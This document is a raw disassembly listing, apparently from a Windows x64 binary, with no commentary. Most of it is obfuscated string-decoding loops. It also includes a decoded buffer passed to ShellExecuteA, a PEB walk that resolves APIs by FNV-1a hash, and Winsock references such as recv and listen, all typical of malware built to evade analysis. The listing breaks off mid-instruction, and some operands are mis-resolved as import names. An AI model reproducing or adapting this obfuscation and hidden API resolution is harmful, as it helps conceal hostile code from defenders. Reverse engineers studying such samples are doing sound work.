mov ecx, Ordinal_50
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14010ae12
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14010ab94
movabs rdx, 0xbc5c50a277547a24
mov ecx, r15d
jmp 0x14010adfd
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14010aa41
movabs rdx, 0x8dfd4cd86c6579ac
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14010aecf
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14010abf1
movabs rdx, 0x25a78451d3cbb89e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x52
jmp 0x14010ae60
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14010ac1d
movabs rcx, 0xf7488087c8dcb826
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0xa
jmp 0x14010aecf
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14010ac47
movabs rdx, 0x9a8a78f3b2feb736
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7a
jmp 0x14010aef6
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14010aa7f
movabs rcx, 0x6c2b7529a80fb6be
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x32
jmp 0x14010af7e
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14010aca3
movabs rcx, 0x3234b06d1a64f628
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x18
jmp 0x14010af7e
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14010accf
movabs rcx, 0xeca62abe09fe7574
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x2c
jmp 0x14010ae12
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14010acec
movabs rdx, 0xd576a8d90486f538
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x14010adfd
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x14010aaba
movabs rcx, 0xa717a50ef997f4c0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x40
jmp 0x14010aecf
mov byte [rbp + r9 + 0x140], bl
jmp 0x14010af8d
movabs rdx, 0x4a599d7ae3b9f3d0
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, byte [rbp + r9 + 0x140]
add bl, r8b
add bl, dl
movabs rdx, 0x3ec1dc8860fe33b2
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
add cl, cl
add cl, bl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x140], cl
jmp 0x14010ae0f
movabs rdx, 0x332a1b95de427394
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, byte [rbp + r9 + 0x140]
sub bl, 0xc
jmp 0x14010aef6
movabs rcx, 0x3be19b0e1565bb6e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r15b
jmp 0x14010af7e
movabs rdx, 0x6a409ed82054bbe6
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x4a
jmp 0x14010aef6
movabs rdx, 0x989fa2a22b43bc5e
mov ecx, gethostname
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14010af8d
movabs rcx, 0xde2e28513baa3d12
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x7e
jmp 0x14010aea9
movabs rdx, 0xf55daa364121bd4e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x22
add bl, dl
jmp 0x14010ae81
movabs rcx, 0x23bcae004c10bdc6
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6a
movabs rdx, 0x55f15e6d6675b3ee
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0x3f
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x140], cl
add r10, r14
jmp 0x14010aecf
movabs rdx, 0x521bb1ca56ffbe3e
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
sub r9, r14
jmp 0x14010af8d
mov r8, r11
movabs rdx, 0xaed9b95e6cddbf2e
add rdx, r9
mov al, dl
and al, r11b
add al, al
mov bl, r11b
sub bl, al
sub bl, 0x42
add bl, dl
movabs rcx, 0x27925aa35b86b376
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x3a
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0x140], al
add r10, r14
add rax, r10
sub r9, rax
movabs rcx, 0x1bfa99b0d8caf358
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x68
add r8b, cl
mov byte [rbp + r9 + 0x140], r8b
add rdi, r14
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x14010af7e
movabs rdx, 0xdd38bd2877ccbfa6
add rdx, r9
mov al, r11b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
movzx eax, byte [rbp + r9 + 0x140]
add rax, r10
add r9, rax
add r9, r14
jmp 0x14010a5c1
movabs rdx, 0xfa28c2021475306a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14010a5be
movabs rdx, 0x115843e719ecb0a6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14010a5ae
lea rsi, [rbp + 0x15aed18]
jmp 0x14010affa
lea rsi, [rbp + 0xdf2cfa]
jmp 0x14010affa
lea rsi, [rbp + 0x140]
mov byte [rbp + 0x160], 0xbf
mov byte [rbp + 0x161], 0xbd
mov byte [rbp + 0x162], Ordinal_200
mov byte [rbp + 0x163], 0xb9
mov byte [rbp + 0x164], Ordinal_46
xor eax, eax
mov qword [rbp + 0x165], rax
mov dword [rbp + 0x16d], eax
mov word [rbp + 0x171], ax
mov byte [rbp + 0x173], al
mov dil, byte [rsp + 0x50]
call fcn.1401abe8c
mov rbx, qword [rax]
call fcn.1401abe94
mov r10, qword [rax]
xor r9d, r9d
cmp r9, 0x14
jae 0x14010b932
movzx r8d, byte [rbp + r9 + 0x160]
mov rdx, r8
cmp rbx, r9
ja 0x14010b929
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x14010b09d
movabs r11, 0x86ae06fa5e07247a
lea rcx, [r9 + r11]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
sub dil, 0x56
jmp 0x14010b0d4
je 0x14010b8a5
lea rax, [r10 + 3]
cmp rbx, rax
je 0x14010b81f
lea rax, [r10 + 2]
cmp rbx, rax
je 0x14010b7e7
lea rax, [r10 + 7]
cmp rbx, rax
je 0x14010b796
movabs r11, 0x86ae06fa5e07247a
cmp r10, r9
ja 0x14010b920
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x14010b109
movabs rdx, 0xc469289b695fe02
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0xe
add dil, dl
jmp 0x14010b136
je 0x14010b772
lea rax, [r10 + 3]
cmp rbx, rax
je 0x14010b752
lea rax, [r10 + 2]
cmp rbx, rax
je 0x14010b72f
lea rax, [r10 + 7]
cmp rbx, rax
je 0x14010b70c
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x14010b3b6
lea rax, [r10 + 1]
cmp rbx, rax
je 0x14010b3a2
lea rax, [r10 + 0x61]
cmp rbx, rax
je 0x14010b37b
lea rax, [r10 + 0x80]
cmp rbx, rax
je 0x14010b358
lea rax, [r10 + 0x20]
cmp rbx, rax
je 0x14010b337
lea rax, [r10 + 6]
cmp rbx, rax
je 0x14010b323
lea rbx, [r10 + 9]
lea r10, [rbx + 1]
lea rax, [r10 + 3]
cmp rbx, rax
jb 0x14010b8fe
lea rax, [r10 + 0x41]
cmp rbx, rax
jb 0x14010b8d7
lea rax, [r10 + 0x3e8]
cmp rbx, rax
jb 0x14010b26e
lea rax, [r10 + 0x40]
cmp rbx, rax
jb 0x14010b24b
lea rax, [r10 + 9]
cmp rbx, rax
jb 0x14010b224
lea rbx, [r10 + 0x10]
lea r10, [rbx + 3]
lea rax, [r10 + 5]
cmp rbx, rax
ja 0x14010b300
lea rax, [r10 + 0x2a]
cmp rbx, rax
ja 0x14010b2ec
lea rax, [r10 + 0x1000]
cmp rbx, rax
ja 0x14010b2c9
lea rax, [r10 + 0x64]
cmp rbx, rax
ja 0x14010b2a5
lea rax, [r10 + 0x10]
cmp rbx, rax
ja 0x14010b291
lea rbx, [r10 + 0x28]
lea r10, [rbx + 5]
jmp 0x14010b143
movabs rdx, 0x207dc9f10de0ce3e
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14010b136
movabs rcx, 0x1321bbfc51d2854a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 6
jmp 0x14010b0d4
movabs rcx, 0x5c5ae0795c43c56
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x5a
jmp 0x14010b064
movabs rdx, 0x2cc45c7ac476cc40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x14010b7f6
movabs rcx, 0x1f684e860868834c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x14
jmp 0x14010b80c
movabs rcx, 0x120c40914c5a3a58
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x68
jmp 0x14010b83e
movabs rdx, 0x4b0329c904bf164
mov ecx, Ordinal_35
jmp 0x14010b4c5
movabs rcx, 0xf75424a7d43da870
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x10
jmp 0x14010b8c0
movabs rdx, 0x14373767574ad03c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
jmp 0x14010b7f6
movabs rdx, 0x6db29729b3c8748
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
jmp 0x14010b6ab
movabs rcx, 0xf97f1b7ddf2e3e54
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x4c
jmp 0x14010b7df
movabs rdx, 0xec230d89231ff560
mov ecx, Ordinal_50
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14010b7dc
movabs rdx, 0xdec6ff946711ac6c
mov ecx, 6
jmp 0x14010b781
lea rax, [r10 + 0x10]
cmp rbx, rax
jae 0x14010b481
lea rcx, [r9 + r11]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x56
lea rax, [r10 + rbx]
cmp rax, 0x200
je 0x14010b6dd
lea rax, [r10 + 0x10]
cmp rbx, rax
jbe 0x14010b556
movabs rcx, 0x1777a9a867b3b112
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7e
cmp rbx, 0x400
jae 0x14010b687
lea rax, [r10 + 0x28]
cmp rbx, rax
jbe 0x14010b5e6
movabs rdx, 0x23be3c321e49af14
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp r10, 0x61
jb 0x14010b67a
movabs rdx, 0xa956c7c176d8889c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x14010b7b4
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14010b4ad
movabs rcx, 0x188d25136d2bfc04
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x1c
jmp 0x14010b8c0
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14010b4dd
movabs rdx, 0x25e93308293a44f8
mov ecx, Ordinal_32
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14010b872
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x14010b4fa
movabs rdx, 0x4dfd5ce65d651fd4
mov ecx, reloc.WLDAP32.dll_Ordinal_26
jmp 0x14010b7f6
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x14010b526
movabs rcx, 0x5b596adb197368c8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x78
jmp 0x14010b6b1
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14010b3d8
movabs rcx, 0x68b578cfd581b1bc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x24
jmp 0x14010b7df
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14010b582
movabs rcx, 0x24d3b79d23c1fa06
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x2a
jmp 0x14010b7b4
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14010b5b2
movabs rdx, 0x3f8bd3869bde8bee
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 0x3f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14010b7df
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x14010b413
movabs rdx, 0x679ffd64d00966ca
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14010b80c
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14010b612
movabs rcx, 0x311a4a26da57f808
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x38
jmp 0x14010b8c0
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14010b63c
movabs rdx, 0x4bd26610527489f0
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
jmp 0x14010b701
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x14010b659
movabs rdx, 0x8e9eabd7febbf6b4
mov ecx, 0xa
jmp 0x14010b38a
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14010b44f
movabs rdx, 0x9bfab9ccbaca3fa8
mov ecx, 0x34
jmp 0x14010b781
mov byte [rbp + r9 + 0x160], dil
jmp 0x14010b8cf
movabs rdx, 0xb6b2d5b632e6d190
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, byte [rbp + r9 + 0x160]
add dil, dl
add dil, r8b
movabs rcx, 0x3d60dcb090edf60a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x46
add cl, dil
add cl, r8b
mov byte [rbp + r9 + 0x160], cl
jmp 0x14010b809
movabs rdx, 0xc40ee3aaeef51a84
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r9 + 0x160]
add dil, dl
add dil, r8b
jmp 0x14010b83e
movabs rcx, 0x8483102453168e96
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x1a
jmp 0x14010b8c0
movabs rcx, 0x4f12d85162dd6ac6
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6a
jmp 0x14010b809
movabs rcx, 0x345abc67eac0d8de
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x12
jmp 0x14010b7df
movabs rdx, 0x19a2a07e72a446f6
mov ecx, reloc.WLDAP32.dll_Ordinal_35
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14010b7b4
movabs rcx, 0xfeea8494fa87b50e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x62
movabs rdx, 0x3004cebbd4dfad16
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 0x33
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x160], cl
add r10, r14
sub r9, r14
jmp 0x14010b8cf
movabs rdx, 0xc97a4cc20a4e913e
mov ecx, Ordinal_41
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
add rbx, r10
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14010b8cf
mov r8, rdx
movabs rcx, 0xaec230d89231ff56
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 0x5a
movabs rdx, 0x4abceaa54cfc3efe
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 7
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0x160], al
add r10, r14
add rax, r10
sub r9, rax
movabs rcx, 0xd16af19fab036378
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x48
add cl, r8b
mov byte [rbp + r9 + 0x160], cl
add rbx, r14
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x14010b8c0
movabs rcx, 0x940a14ef1a156d6e
add rcx, r9
mov al, dl
and al, cl
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, r15b
movzx eax, byte [rbp + r9 + 0x160]
add rax, r10
add r9, rax
add r9, r14
jmp 0x14010b051
movabs rdx, 0xf869a012d9b5f362
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14010b04e
movabs rcx, 0xeb0d921e1da7aa6e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, r15b
jmp 0x14010b03e
lea rdx, [rbp + 0x14c8358]
jmp 0x14010b939
lea rdx, [rbp + 0x93a7d2]
jmp 0x14010b939
lea rdx, [rbp + 0x160]
mov dword [rsp + 0x28], r14d
and qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, rsi
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rdx, qword [0x1404fc118]
test rdx, rdx
jne 0x14010bab3
xor esi, esi
mov r14d, r13d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x60], ax
test esi, esi
je 0x14010b9ca
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14010b9bd
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14010b9ae
cmp edx, esi
jne 0x14010ba97
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14010ba97
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14010ba97
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14010ba1e
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14010ba13
cmp edx, r14d
je 0x14010ba34
test r11d, r11d
jne 0x14010b9fe
jmp 0x14010ba97
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x14010baac
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x14010baac
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14010ba76
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14010ba68
jmp 0x14010ba8b
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x14010ba7e
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x14010baaa
cmp qword [rbx + 0x30], 0
jne 0x14010b97e
xor edx, edx
mov qword [0x1404fc118], rdx
mov ebx, 0x99
mov ecx, ebx
call rdx
mov qword [0], rbx
lea rcx, [rbp + 0xf50]
call fcn.14008b580
nop
mov rcx, r12
call fcn.14007b1e0
mov byte [rbp + 0x500], recv
mov byte [rbp + 0x501], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x502], reloc.WS2_32.dll_recv
mov byte [rbp + 0x503], Ordinal_60
mov byte [rbp + 0x504], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x505], 0x79
mov byte [rbp + 0x506], Ordinal_60
mov byte [rbp + 0x507], Ordinal_60
mov byte [rbp + 0x508], gethostname
mov byte [rbp + 0x509], 0x3d
mov byte [rbp + 0x50a], Ordinal_50
mov byte [rbp + 0x50b], Ordinal_50
mov byte [rbp + 0x50c], gethostname
mov byte [rbp + 0x50d], Ordinal_50
mov byte [rbp + 0x50e], gethostname
mov byte [rbp + 0x50f], Ordinal_50
mov byte [rbp + 0x510], WSASetLastError
mov byte [rbp + 0x511], WSACleanup
mov byte [rbp + 0x512], Ordinal_46
mov byte [rbp + 0x513], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x514], WSAGetLastError
mov byte [rbp + 0x515], 0x3d
mov byte [rbp + 0x516], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0x517], 0xa
mov byte [rbp + 0x518], Ordinal_79
mov byte [rbp + 0x519], 3
mov byte [rbp + 0x51a], recv
mov byte [rbp + 0x51b], 9
mov byte [rbp + 0x51c], 0x9a
xor eax, eax
mov qword [rbp + 0x51d], rax
mov dword [rbp + 0x525], eax
mov word [rbp + 0x529], ax
mov byte [rbp + 0x52b], al
movabs rsi, 0xe18cab1a5cf5e349
mov bl, byte [rsp + 0x50]
call fcn.1401abe8c
mov rdi, qword [rax]
call fcn.1401abe94
mov r10, qword [rax]
xor r9d, r9d
cmp r9, 0x2c
jae 0x14010c72e
movzx r8d, byte [rbp + r9 + 0x500]
mov rdx, r8
cmp rdi, r9
ja 0x14010c725
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x14010bc21
lea rcx, [r9 + rsi]
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
inc bl
jmp 0x14010bc4e
je 0x14010c6a4
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14010c674
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14010c651
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14010c62e
cmp r10, r9
ja 0x14010c71c
lea rax, [r10 + 0xa]
cmp rdi, rax
jae 0x14010bc81
movabs rdx, 0x808a0929a02ba4fd
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, 0x15
jmp 0x14010beaf
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14010c5ea
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14010c5c7
lea rax, [r10 + 7]
cmp rdi, rax
je 0x14010c53d
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14010c51d
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14010c4fa
lea rax, [rdi + r10]
cmp rax, r9
jbe 0x14010c1fe
lea rax, [r10 + 0x61]
cmp rdi, rax
je 0x14010c1da
lea rax, [r10 + 0x41]
cmp rdi, rax
je 0x14010c1c6
lea rax, [r10 + 0xa]
cmp rdi, rax
je 0x14010c1a0
lea rax, [r10 + 0x1000]
cmp rdi, rax
je 0x14010c17f
lea rax, [r10 + 6]
cmp rdi, rax
je 0x14010c159
lea rax, [r10 + 9]
cmp rdi, rax
je 0x14010c133
lea rax, [r10 + 0x400]
cmp rdi, rax
je 0x14010c10f
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14010c0fb
lea rax, [r10 + 0x80]
cmp rdi, rax
je 0x14010c0e7
lea rax, [r10 + 0x3e8]
cmp rdi, rax
je 0x14010bccf
lea rdi, [r10 + 0x20]
lea r10, [rdi + 4]
lea rax, [r10 + 0x7a]
cmp rdi, rax
jb 0x14010c6f9
lea rax, [r10 + 9]
cmp rdi, rax
jb 0x14010c6d6
lea rax, [r10 + 0x400]
cmp rdi, rax
jb 0x14010bed9
lea rax, [r10 + 0x61]
cmp rdi, rax
jb 0x14010beb6
lea rax, [r10 + 8]
cmp rdi, rax
jb 0x14010be93
lea rax, [r10 + 0x3e8]
cmp rdi, rax
jb 0x14010c0c6
lea rax, [r10 + 4]
cmp rdi, rax
jb 0x14010c0a5
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x14010c05a
lea rax, [r10 + 0x200]
cmp rdi, rax
jb 0x14010c02f
lea rax, [r10 + 3]
cmp rdi, rax
jb 0x14010bccf
lea rdi, [r10 + 0x61]
lea r10, [rdi + 0x42]
lea rax, [r10 + 8]
cmp rdi, rax
ja 0x14010c00c
lea rax, [r10 + 0xa]
cmp rdi, rax
ja 0x14010bfeb
lea rax, [r10 + 0x1000]
cmp rdi, rax
ja 0x14010bfca
lea rax, [r10 + 6]
cmp rdi, rax
ja 0x14010bfa7
lea rax, [r10 + 0x200]
cmp rdi, rax
ja 0x14010bf84
lea rax, [r10 + 0x400]
cmp rdi, rax
ja 0x14010bf63
lea rax, [r10 + 5]
cmp rdi, rax
ja 0x14010bf40
lea rax, [r10 + 0x80]
cmp rdi, rax
ja 0x14010bf1d
lea rax, [r10 + 2]
cmp rdi, rax
ja 0x14010befc
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x14010bccf
lea rdi, [r10 + 0x7a]
lea r10, [rdi + 0x64]
jmp 0x14010bccf
movabs rdx, 0x7760e750798268a3
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x75
add bl, dl
jmp 0x14010bcc2
movabs rdx, 0xb447911bbf96a211
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x77
add bl, dl
jmp 0x14010bc4e
movabs rdx, 0xf12e3ae705aadb7f
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub dl, 0x79
add bl, dl
jmp 0x14010bbf4
movabs rdx, 0x450494d015d27e8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x58
jmp 0x14010c606
movabs rcx, 0x4136f31847716156
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x5a
jmp 0x14010c64c
movabs rcx, 0x7e1d9ce38d859ac4
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x5c
jmp 0x14010c66f
movabs rdx, 0xbb0446aed399d432
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x5e
jmp 0x14010c4a1
movabs rcx, 0xf7eaf07a19ae0da0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x60
jmp 0x14010c692
movabs rcx, 0x34d19a455fc2470e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x62
jmp 0x14010c695
movabs rdx, 0x71b84410a5d6807c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x64
jmp 0x14010c559
movabs rdx, 0xae9eeddbebeab9ea
